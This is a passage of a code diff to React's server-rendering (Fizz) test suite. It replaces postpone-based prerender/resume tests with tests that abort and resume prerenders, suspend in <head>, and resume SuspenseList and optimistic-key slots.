+    const promiseA = new Promise(r => (resolveA = r));
+    let resolveB;
+    const promiseB = new Promise(r => (resolveB = r));
 
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        {'Hi'}
-        {'Hello'}
-      </div>,
-    );
-  });
+    async function ComponentA() {
+      await promiseA;
+      return (
+        <Suspense fallback="Loading B">
+          <ComponentB />
+        </Suspense>
+      );
+    }
 
-  // @gate enablePostpone
-  it('supports postponing in a nested array', async () => {
-    let prerendering = true;
-    const Hole = React.lazy(async () => {
-      React.unstable_postpone();
-    });
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
+    async function ComponentB() {
+      await promiseB;
       return 'Hello';
     }
 
     function App() {
       return (
-        <div>
-          <Suspense fallback="Loading...">
-            Hi
-            {[<Postpone key="key" />, prerendering ? Hole : 'World']}
-          </Suspense>
-        </div>
+        <Suspense>
+          <html data-x="">
+            <body data-x="">
+              <Suspense fallback="Loading A">
+                <ComponentA />
+              </Suspense>
+            </body>
+          </html>
+        </Suspense>
       );
     }
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    const resumed = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
-
-    await readIntoContainer(prerendered.prelude);
+    const controller = new AbortController();
+    let pendingResult;
+    await serverAct(async () => {
+      pendingResult = ReactDOMFizzStatic.prerender(<App />, {
+        signal: controller.signal,
+        onError(x) {
+          errors.push(x.message);
+        },
+      });
+    });
 
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
+    controller.abort();
 
-    await readIntoContainer(resumed);
+    const prerendered = await pendingResult;
+    const postponedState = JSON.stringify(prerendered.postponed);
 
-    expect(getVisibleChildren(container)).toEqual(
-      <div>{['Hi', 'Hello', 'World']}</div>,
+    await readIntoNewDocument(prerendered.prelude);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-x="">
+        <head />
+        <body data-x="">Loading A</body>
+      </html>,
     );
-  });
 
-  // @gate enablePostpone
-  it('supports postponing in lazy as a direct child', async () => {
-    let prerendering = true;
-    const Hole = React.lazy(async () => {
-      React.unstable_postpone();
-    });
-    function Postpone() {
-      return prerendering ? Hole : 'Hello';
-    }
+    await resolveA();
 
-    function App() {
-      return (
-        <div>
-          <Suspense fallback="Loading...">
-            <Postpone key="key" />
-          </Suspense>
-        </div>
+    expect(prerendered.postponed).not.toBe(null);
+
+    const controller2 = new AbortController();
+    await serverAct(async () => {
+      pendingResult = ReactDOMFizzStatic.resumeAndPrerender(
+        <App />,
+        JSON.parse(postponedState),
+        {
+          signal: controller2.signal,
+          onError(x) {
+            errors.push(x.message);
+          },
+        },
       );
-    }
+    });
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
+    controller2.abort();
 
-    prerendering = false;
+    const prerendered2 = await pendingResult;
+    const postponedState2 = JSON.stringify(prerendered2.postponed);
 
-    const resumed = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
+    await readIntoCurrentDocument(prerendered2.prelude);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-x="">
+        <head />
+        <body data-x="">Loading B</body>
+      </html>,
     );
 
-    await readIntoContainer(prerendered.prelude);
-
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
+    await resolveB();
 
-    await readIntoContainer(resumed);
+    const dynamic = await serverAct(() =>
+      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState2)),
+    );
 
-    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);
+    await readIntoCurrentDocument(dynamic);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-x="">
+        <head />
+        <body data-x="">Hello</body>
+      </html>,
+    );
   });
 
-  // @gate enablePostpone
-  it('only emits end tags once when resuming', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
+  it('can suspend inside <head> tag', async () => {
+    const promise = new Promise(() => {});
 
     function App() {
       return (
         <html>
-          <body>
-            <Suspense fallback="Loading...">
-              <Postpone />
+          <head>
+            <Suspense fallback={<meta itemProp="" content="fallback" />}>
+              <Metadata />
             </Suspense>
+          </head>
+          <body>
+            <div>hello</div>
           </body>
         </html>
       );
     }
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
+    function Metadata() {
+      React.use(promise);
+      return <meta itemProp="" content="primary" />;
+    }
 
-    prerendering = false;
+    const controller = new AbortController();
+    let pendingResult;
+    const errors = [];
+    await serverAct(() => {
+      pendingResult = ReactDOMFizzStatic.prerender(<App />, {
+        signal: controller.signal,
+        onError: e => {
+          errors.push(e.message);
+        },
+      });
+    });
 
-    const content = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
+    controller.abort(new Error('boom'));
+
+    const prerendered = await pendingResult;
+
+    await readIntoNewDocument(prerendered.prelude);
+    expect(getVisibleChildren(document)).toEqual(
+      <html>
+        <head>
+          <meta itemprop="" content="fallback" />
+        </head>
+        <body>
+          <div>hello</div>
+        </body>
+      </html>,
     );
 
-    const html = await readContent(concat(prerendered.prelude, content));
-    const htmlEndTags = /<\/html\s*>/gi;
-    const bodyEndTags = /<\/body\s*>/gi;
-    expect(Array.from(html.matchAll(htmlEndTags)).length).toBe(1);
-    expect(Array.from(html.matchAll(bodyEndTags)).length).toBe(1);
+    expect(errors).toEqual(['boom']);
   });
 
-  // @gate enablePostpone
-  it('can prerender various hoistables and deduped resources', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
+  it('will render fallback Document when erroring a boundary above the body', async () => {
+    let isPrerendering = true;
+    const promise = new Promise(() => {});
+
+    function Boom() {
+      if (isPrerendering) {
+        React.use(promise);
       }
-      return (
-        <>
-          <link rel="stylesheet" href="my-style2" precedence="low" />
-          <link rel="stylesheet" href="my-style1" precedence="high" />
-          <style precedence="high" href="my-style3">
-            style
-          </style>
-          <img src="my-img" />
-        </>
-      );
+      throw new Error('Boom!');
     }
 
     function App() {
-      ReactDOM.preconnect('example.com');
-      ReactDOM.preload('my-font', {as: 'font', type: 'font/woff2'});
-      ReactDOM.preload('my-style0', {as: 'style'});
-      // This should transfer the props in to the style that loads later.
-      ReactDOM.preload('my-style2', {
-        as: 'style',
-        crossOrigin: 'use-credentials',
-      });
       return (
-        <div>
-          <Suspense fallback="Loading...">
-            <link rel="stylesheet" href="my-style1" precedence="high" />
-            <img src="my-img" />
-            <Postpone />
-          </Suspense>
-          <title>Hello World</title>
-        </div>
+        <Suspense
+          fallback={
+            <html data-error-html="">
+              <body data-error-body="">
+                <span>hello error</span>
+              </body>
+            </html>
+          }>
+          <html data-content-html="">
+            <body data-content-body="">
+              <Boom />
+              <span>hello world</span>
+            </body>
+          </html>
+        </Suspense>
       );
     }
 
-    let calledInit = false;
-    jest.mock(
-      'init.js',
-      () => {
-        calledInit = true;
-      },
-      {virtual: true},
-    );
+    const controller = new AbortController();
+    let pendingResult;
+    const errors = [];
+    await serverAct(() => {
+      pendingResult = ReactDOMFizzStatic.prerender(<App />, {
+        signal: controller.signal,
+        onError: e => {
+          errors.push(e.message);
+        },
+      });
+    });
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />, {
-        bootstrapScripts: ['init.js'],
+    controller.abort();
+
+    const prerendered = await pendingResult;
+
+    expect(errors).toEqual(['This operation was aborted']);
+    const content = await readContent(prerendered.prelude);
+    expect(content).toBe('');
+
+    isPrerendering = false;
+    const postponedState = JSON.stringify(prerendered.postponed);
+
+    const resumeErrors = [];
+    const dynamic = await serverAct(() =>
+      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState), {
+        onError: e => {
+          resumeErrors.push(e.message);
+        },
       }),
     );
-    expect(prerendered.postponed).not.toBe(null);
 
-    await readIntoContainer(prerendered.prelude);
+    expect(resumeErrors).toEqual(['Boom!']);
+    await readIntoNewDocument(dynamic);
 
-    expect(getVisibleChildren(container)).toEqual([
-      <link href="example.com" rel="preconnect" />,
-      <link
-        as="font"
-        crossorigin=""
-        href="my-font"
-        rel="preload"
-        type="font/woff2"
-      />,
-      <link as="image" href="my-img" rel="preload" />,
-      <link data-precedence="high" href="my-style1" rel="stylesheet" />,
-      <link as="script" fetchpriority="low" href="init.js" rel="preload" />,
-      <link as="style" href="my-style0" rel="preload" />,
-      <link
-        as="style"
-        crossorigin="use-credentials"
-        href="my-style2"
-        rel="preload"
-      />,
-      <title>Hello World</title>,
-      <div>Loading...</div>,
-    ]);
-
-    prerendering = false;
-    const content = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-error-html="">
+        <head />
+        <body data-error-body="">
+          <span>hello error</span>
+        </body>
+      </html>,
     );
+  });
 
-    await readIntoContainer(content);
+  it('can omit a preamble with an empty shell if no preamble is ready when prerendering finishes', async () => {
+    const errors = [];
 
-    expect(calledInit).toBe(true);
+    let resolveA;
+    const promiseA = new Promise(r => (resolveA = r));
+    let resolveB;
+    const promiseB = new Promise(r => (resolveB = r));
 
-    // Dispatch load event to injected stylesheet
-    const link = document.querySelector(
-      'link[rel="stylesheet"][href="my-style2"]',
-    );
-    const event = document.createEvent('Events');
-    event.initEvent('load', true, true);
-    link.dispatchEvent(event);
-
-    // Wait for the instruction microtasks to flush.
-    await 0;
-    await 0;
-
-    expect(getVisibleChildren(container)).toEqual([
-      <link href="example.com" rel="preconnect" />,
-      <link
-        as="font"
-        crossorigin=""
-        href="my-font"
-        rel="preload"
-        type="font/woff2"
-      />,
-      <link as="image" href="my-img" rel="preload" />,
-      <link data-precedence="high" href="my-style1" rel="stylesheet" />,
-      <style data-href="my-style3" data-precedence="high">
-        style
-      </style>,
-      <link
-        crossorigin="use-credentials"
-        data-precedence="low"
-        href="my-style2"
-        rel="stylesheet"
-      />,
-      <link as="script" fetchpriority="low" href="init.js" rel="preload" />,
-      <link as="style" href="my-style0" rel="preload" />,
-      <link
-        as="style"
-        crossorigin="use-credentials"
-        href="my-style2"
-        rel="preload"
-      />,
-      <title>Hello World</title>,
-      <div>
-        <img src="my-img" />
-        <img src="my-img" />
-      </div>,
-    ]);
-  });
+    async function ComponentA() {
+      await promiseA;
+      return (
+        <Suspense fallback="Loading B">
+          <ComponentB />
+        </Suspense>
+      );
+    }
 
-  // @gate enablePostpone
-  it('can postpone a boundary after it has already been added', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
+    async function ComponentB() {
+      await promiseB;
       return 'Hello';
     }
 
     function App() {
       return (
-        <div>
-          <Suspense fallback="Loading...">
-            <Suspense fallback="Loading...">
-              <Postpone />
-            </Suspense>
-            <Postpone />
-            <Postpone />
-          </Suspense>
-        </div>
+        <Suspense>
+          <html data-x="">
+            <body data-x="">
+              <ComponentA />
+            </body>
+          </html>
+        </Suspense>
       );
     }
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    const resumed = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
-
-    await readIntoContainer(prerendered.prelude);
-
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
-
-    await readIntoContainer(resumed);
-
-    expect(getVisibleChildren(container)).toEqual(
-      <div>{['Hello', 'Hello', 'Hello']}</div>,
-    );
-  });
-
-  // @gate enablePostpone
-  it('can postpone in fallback', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
-
-    const Lazy = React.lazy(async () => {
-      await 0;
-      return {default: Postpone};
-    });
-
-    function App() {
-      return (
-        <div>
-          <Suspense fallback="Outer">
-            <Suspense fallback={<Postpone />}>
-              <Postpone /> World
-            </Suspense>
-            <Suspense fallback={<Postpone />}>
-              <Lazy />
-            </Suspense>
-          </Suspense>
-        </div>
-      );
-    }
-
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    const resumed = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
-
-    await readIntoContainer(prerendered.prelude);
-
-    expect(getVisibleChildren(container)).toEqual(<div>Outer</div>);
-
-    await readIntoContainer(resumed);
-
-    expect(getVisibleChildren(container)).toEqual(
-      <div>
-        {'Hello'}
-        {' World'}
-        {'Hello'}
-      </div>,
-    );
-  });
-
-  // @gate enablePostpone
-  it('can postpone in fallback without postponing the tree', async () => {
-    function Postpone() {
-      React.unstable_postpone();
-    }
-
-    const lazyText = React.lazy(async () => {
-      await 0; // causes the fallback to start work
-      return {default: 'Hello'};
+    const controller = new AbortController();
+    let pendingResult;
+    await serverAct(async () => {
+      pendingResult = ReactDOMFizzStatic.prerender(<App />, {
+        signal: controller.signal,
+        onError(x) {
+          errors.push(x.message);
+        },
+      });
     });
 
-    function App() {
-      return (
-        <div>
-          <Suspense fallback="Outer">
-            <Suspense fallback={<Postpone />}>{lazyText}</Suspense>
-          </Suspense>
-        </div>
-      );
-    }
-
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    // TODO: This should actually be null because we should've been able to fully
-    // resolve the render on the server eventually, even though the fallback postponed.
-    // So we should not need to resume.
-    expect(prerendered.postponed).not.toBe(null);
-
-    await readIntoContainer(prerendered.prelude);
-
-    expect(getVisibleChildren(container)).toEqual(<div>Outer</div>);
-
-    const resumed = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
-
-    await readIntoContainer(resumed);
-
-    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);
-  });
-
-  // @gate enablePostpone
-  it('errors if the replay does not line up', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
+    controller.abort();
 
-    function Wrapper({children}) {
-      return children;
-    }
+    const prerendered = await pendingResult;
+    const postponedState = JSON.stringify(prerendered.postponed);
 
-    const lazySpan = React.lazy(async () => {
-      await 0;
-      return {default: <span />};
-    });
+    const content = await readContent(prerendered.prelude);
+    expect(content).toBe('');
 
-    function App() {
-      const children = (
-        <Suspense fallback="Loading...">
-          <Postpone />
-        </Suspense>
-      );
-      return (
-        <>
-          <div>{prerendering ? <Wrapper>{children}</Wrapper> : children}</div>
-          <div>
-            {prerendering ? (
-              <Suspense fallback="Loading...">
-                <div>
-                  <Postpone />
-                </div>
-              </Suspense>
-            ) : (
-              lazySpan
-            )}
-          </div>
-        </>
-      );
-    }
+    await resolveA();
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
     expect(prerendered.postponed).not.toBe(null);
 
-    await readIntoContainer(prerendered.prelude);
-
-    expect(getVisibleChildren(container)).toEqual([
-      <div>Loading...</div>,
-      <div>Loading...</div>,
-    ]);
-
-    prerendering = false;
-
-    const errors = [];
-    const resumed = await serverAct(() =>
-      ReactDOMFizzServer.resume(
+    const controller2 = new AbortController();
+    await serverAct(async () => {
+      pendingResult = ReactDOMFizzStatic.resumeAndPrerender(
         <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
+        JSON.parse(postponedState),
         {
+          signal: controller2.signal,
           onError(x) {
             errors.push(x.message);
           },
         },
-      ),
-    );
-
-    expect(errors).toEqual([
-      'Expected the resume to render <Wrapper> in this slot but instead it rendered <Suspense>. ' +
-        "The tree doesn't match so React will fallback to client rendering.",
-      'Expected the resume to render <Suspense> in this slot but instead it rendered <span>. ' +
-        "The tree doesn't match so React will fallback to client rendering.",
-    ]);
-
-    // TODO: Test the component stack but we don't expose it to the server yet.
-
-    await readIntoContainer(resumed);
-
-    // Client rendered
-    expect(getVisibleChildren(container)).toEqual([
-      <div>Loading...</div>,
-      <div>Loading...</div>,
-    ]);
-  });
-
-  // @gate enablePostpone
-  it('can abort the resume', async () => {
-    let prerendering = true;
-    const infinitePromise = new Promise(() => {});
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
-
-    function App() {
-      if (!prerendering) {
-        React.use(infinitePromise);
-      }
-      return (
-        <div>
-          <Suspense fallback="Loading...">
-            <Postpone />
-          </Suspense>
-        </div>
       );
-    }
-
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    await readIntoContainer(prerendered.prelude);
-
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
-
-    prerendering = false;
+    });
 
-    const controller = new AbortController();
+    controller2.abort();
 
-    const errors = [];
+    const prerendered2 = await pendingResult;
+    const postponedState2 = JSON.stringify(prerendered2.postponed);
 
-    const resumedPromise = serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-        {
-          signal: controller.signal,
-          onError(x) {
-            errors.push(x);
-          },
-        },
-      ),
+    await readIntoNewDocument(prerendered2.prelude);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-x="">
+        <head />
+        <body data-x="">Loading B</body>
+      </html>,
     );
 
-    controller.abort('abort');
+    await resolveB();
 
-    const resumed = await resumedPromise;
-    await resumed.allReady;
-
-    expect(errors).toEqual(['abort']);
-
-    await readIntoContainer(resumed);
+    const dynamic = await serverAct(() =>
+      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState2)),
+    );
 
-    // Client rendered
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
+    await readIntoCurrentDocument(dynamic);
+    expect(getVisibleChildren(document)).toEqual(
+      <html data-x="">
+        <head />
+        <body data-x="">Hello</body>
+      </html>,
+    );
   });
 
-  // @gate enablePostpone
-  it('can suspend in a replayed component several layers deep', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
+  // @gate enableSuspenseList
+  it('can resume a partially prerendered SuspenseList', async () => {
+    const errors = [];
 
-    let resolve;
-    const promise = new Promise(r => (resolve = r));
-    function Delay({children}) {
-      if (!prerendering) {
-        React.use(promise);
-      }
-      return children;
+    let resolveA;
+    const promiseA = new Promise(r => (resolveA = r));
+    let resolveB;
+    const promiseB = new Promise(r => (resolveB = r));
+
+    async function ComponentA() {
+      await promiseA;
+      return 'A';
     }
 
-    // This wrapper will cause us to do one destructive render past this.
-    function Outer({children}) {
-      return children;
+    async function ComponentB() {
+      await promiseB;
+      return 'B';
     }
 
     function App() {
       return (
         <div>
-          <Outer>
-            <Delay>
-              <Suspense fallback="Loading...">
-                <Postpone />
-              </Suspense>
-            </Delay>
-          </Outer>
+          <SuspenseList revealOrder="forwards" tail="visible">
+            <Suspense fallback="Loading A">
+              <ComponentA />
+            </Suspense>
+            <Suspense fallback="Loading B">
+              <ComponentB />
+            </Suspense>
+            <Suspense fallback="Loading C">C</Suspense>
+            <Suspense fallback="Loading D">D</Suspense>
+          </SuspenseList>
         </div>
       );
     }
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    await readIntoContainer(prerendered.prelude);
-
-    prerendering = false;
-
-    const resumedPromise = serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
-
-    await jest.runAllTimers();
-
-    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);
-
-    await resolve();
-
-    await readIntoContainer(await resumedPromise);
-
-    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);
-  });
-
-  // @gate enablePostpone
-  it('emits an empty prelude and resumes at the root if we postpone in the shell', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
-
-    function App() {
-      return (
-        <html lang="en">
-          <body>
-            <link rel="stylesheet" href="my-style" precedence="high" />
-            <Postpone />
-          </body>
-        </html>
-      );
-    }
-
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
+    const controller = new AbortController();
+    const pendingResult = serverAct(() =>
+      ReactDOMFizzStatic.prerender(<App />, {
+        signal: controller.signal,
+        onError(x) {
+          errors.push(x.message);
+        },
+      }),
     );
-    expect(prerendered.postponed).not.toBe(null);
 
-    prerendering = false;
+    await serverAct(() => {
+      controller.abort();
+    });
 
-    expect(await readContent(prerendered.prelude)).toBe('');
+    const prerendered = await pendingResult;
 
-    const content = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
+    const postponedState = JSON.stringify(prerendered.postponed);
 
-    expect(await readContent(content)).toBe(
-      '<!DOCTYPE html><html lang="en"><head>' +
-        '<link rel="stylesheet" href="my-style" data-precedence="high"/>' +
-        '</head><body>Hello</body></html>',
+    await readIntoContainer(prerendered.prelude);
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        {'Loading A'}
+        {'Loading B'}
+        {'Loading C'}
+        {'Loading D'}
+      </div>,
     );
-  });
-
-  // @gate enablePostpone
-  it('emits an empty prelude if we have not rendered html or head tags yet', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return (
-        <html lang="en">
-          <body>Hello</body>
-        </html>
-      );
-    }
 
-    function App() {
-      return (
-        <>
-          <link rel="stylesheet" href="my-style" precedence="high" />
-          <Postpone />
-        </>
-      );
-    }
-
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
     expect(prerendered.postponed).not.toBe(null);
 
-    prerendering = false;
-
-    expect(await readContent(prerendered.prelude)).toBe('');
-
-    const content = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
-
-    expect(await readContent(content)).toBe(
-      '<!DOCTYPE html><html lang="en"><head>' +
-        '<link rel="stylesheet" href="my-style" data-precedence="high"/>' +
-        '</head><body>Hello</body></html>',
-    );
-  });
-
-  // @gate enablePostpone
-  it('emits an empty prelude if a postpone in a promise in the shell', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return 'Hello';
-    }
-
-    const Lazy = React.lazy(async () => {
-      await 0;
-      return {default: Postpone};
-    });
-
-    function App() {
-      return (
-        <html>
-          <link rel="stylesheet" href="my-style" precedence="high" />
-          <body>
-            <div>
-              <Lazy />
-            </div>
-          </body>
-        </html>
-      );
-    }
+    await resolveA();
+    await resolveB();
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
+    const dynamic = await serverAct(() =>
+      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState)),
     );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
 
-    expect(await readContent(prerendered.prelude)).toBe('');
-
-    const content = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
+    await readIntoContainer(dynamic);
 
-    expect(await readContent(content)).toBe(
-      '<!DOCTYPE html><html><head>' +
-        '<link rel="stylesheet" href="my-style" data-precedence="high"/>' +
-        '</head><body><div>Hello</div></body></html>',
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        {'A'}
+        {'B'}
+        {'C'}
+        {'D'}
+      </div>,
     );
   });
 
-  // @gate enablePostpone
-  it('does not emit preloads during resume for Resources preloaded through onHeaders', async () => {
-    let prerendering = true;
+  // @gate enableOptimisticKey
+  it('can resume an optimistic keyed slot', async () => {
+    const errors = [];
 
-    let hasLoaded = false;
     let resolve;
     const promise = new Promise(r => (resolve = r));
-    function WaitIfResuming({children}) {
-      if (!prerendering && !hasLoaded) {
-        throw promise;
-      }
-      return children;
-    }
 
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return null;
+    async function Component() {
+      await promise;
+      return 'Hi';
     }
 
-    let headers;
-    function onHeaders(x) {
-      headers = x;
+    if (React.optimisticKey === undefined) {
+      throw new Error('optimisticKey missing');
     }
 
     function App() {
-      ReactDOM.preload('image', {as: 'image', fetchPriority: 'high'});
       return (
-        <html>
-          <body>
-            hello
-            <Suspense fallback={null}>
-              <WaitIfResuming>
-                world
-                <link rel="stylesheet" href="style" precedence="default" />
-              </WaitIfResuming>
-            </Suspense>
-            <Postpone />
-          </body>
-        </html>
+        <div>
+          <Suspense fallback="Loading">
+            <Component key={React.optimisticKey} />
+          </Suspense>
+        </div>
       );
     }
 
-    const prerendered = await serverAct(() =>
+    const controller = new AbortController();
+    const pendingResult = serverAct(() =>
       ReactDOMFizzStatic.prerender(<App />, {
-        onHeaders,
-      }),
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    prerendering = false;
-
-    expect(await readContent(prerendered.prelude)).toBe('');
-    expect(headers).toEqual(
-      new Headers({
-        Link: `
-<image>; rel=preload; as="image"; fetchpriority="high",
- <style>; rel=preload; as="style"
-`
-          .replaceAll('\n', '')
-          .trim(),
+        signal: controller.signal,
+        onError(x) {
+          errors.push(x.message);
+        },
       }),
     );
 
-    const content = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
-
-    const decoder = new TextDecoder();
-    const reader = content.getReader();
-    let {value, done} = await reader.read();
-    let result = decoder.decode(value, {stream: true});
-
-    expect(result).toBe(
-      '<!DOCTYPE html><html><head></head><body>hello<!--$?--><template id="B:1"></template><!--/$-->',
-    );
-
-    await 1;
-    hasLoaded = true;
-    await serverAct(resolve);
-
-    while (true) {
-      ({value, done} = await reader.read());
-      if (done) {
-        result += decoder.decode(value);
-        break;
-      }
-      result += decoder.decode(value, {stream: true});
-    }
-
-    // We are mostly just trying to assert that no preload for our stylesheet was emitted
-    // prior to sending the segment the stylesheet was for. This test is asserting this
-    // because the boundary complete instruction is sent when we are writing the
-    const instructionIndex = result.indexOf('$RC');
-    expect(instructionIndex > -1).toBe(true);
-    const slice = result.slice(0, instructionIndex + '$RC'.length);
-
-    expect(slice).toBe(
-      '<!DOCTYPE html><html><head></head><body>hello<!--$?--><template id="B:1"></template><!--/$--><div hidden id="S:1">world<!-- --></div><script>$RC',
-    );
-  });
-
-  // @gate experimental
-  it('logs an error if onHeaders throws but continues the prerender', async () => {
-    const errors = [];
-    function onError(error) {
-      errors.push(error.message);
-    }
+    await serverAct(() => {
+      controller.abort();
+    });
 
-    function onHeaders(x) {
-      throw new Error('bad onHeaders');
-    }
+    const prerendered = await pendingResult;
 
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<div>hello</div>, {
-        onHeaders,
-        onError,
-      }),
-    );
-    expect(prerendered.postponed).toBe(null);
-    expect(errors).toEqual(['bad onHeaders']);
+    const postponedState = JSON.stringify(prerendered.postponed);
 
     await readIntoContainer(prerendered.prelude);
-    expect(getVisibleChildren(container)).toEqual(<div>hello</div>);
-  });
-
-  // @gate enablePostpone
-  it('does not bootstrap again in a resume if it bootstraps', async () => {
-    let prerendering = true;
-
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return null;
-    }
-
-    function App() {
-      return (
-        <html>
-          <body>
-            <Suspense fallback="loading...">
-              <Postpone />
-              hello
-            </Suspense>
-          </body>
-        </html>
-      );
-    }
-
-    let inits = 0;
-    jest.mock(
-      'init.js',
-      () => {
-        inits++;
-      },
-      {virtual: true},
-    );
-
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />, {
-        bootstrapScripts: ['init.js'],
-      }),
-    );
-
-    const postponedSerializedState = JSON.stringify(prerendered.postponed);
+    expect(getVisibleChildren(container)).toEqual(<div>Loading</div>);
 
     expect(prerendered.postponed).not.toBe(null);
 
-    await readIntoContainer(prerendered.prelude);
-
-    expect(getVisibleChildren(container)).toEqual([
-      <link rel="preload" href="init.js" fetchpriority="low" as="script" />,
-      'loading...',
-    ]);
-
-    expect(inits).toBe(1);
-
-    jest.resetModules();
-    jest.mock(
-      'init.js',
-      () => {
-        inits++;
-      },
-      {virtual: true},
-    );
-
-    prerendering = false;
-
-    const content = await serverAct(() =>
-      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedSerializedState)),
-    );
-
-    await readIntoContainer(content);
-
-    expect(inits).toBe(1);
-
-    expect(getVisibleChildren(container)).toEqual([
-      <link rel="preload" href="init.js" fetchpriority="low" as="script" />,
-      'hello',
-    ]);
-  });
-
-  // @gate enablePostpone
-  it('can render a deep list of single components where one postpones', async () => {
-    let isPrerendering = true;
-    function Outer({children}) {
-      return children;
-    }
-
-    function Middle({children}) {
-      return children;
-    }
-
-    function Inner() {
-      if (isPrerendering) {
-        React.unstable_postpone();
-      }
-      return 'hello';
-    }
-
-    function App() {
-      return (
